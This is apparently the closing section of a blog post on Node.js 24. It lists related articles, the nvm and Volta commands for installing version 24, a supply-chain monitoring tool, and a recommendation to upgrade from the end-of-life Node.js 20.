• 📰 10 Node.js 24 Features You're Not Using — LogRocket

• 📰 AsyncLocalStorage in Node.js 24 — Usama Amjid

• 📰 The Native-First Revolution — Bolder Apps (April 2026)

• 📰 Building SEA with Node.js — DEV Community

Tools

• 🛠️ nvm — nvm install 24 && nvm use 24

• 🛠️ Volta — volta install node@24

• 🛠️ socket.dev — supply chain monitoring; pairs perfectly with the Permission Model and upcoming npm v12 allowScripts changes

If your team is still running Node.js 20 — which reached end-of-life in April 2026 — upgrade to Node.js 24 today. The migration is well-documented, breaking changes are manageable, and the benefits start compounding on day one.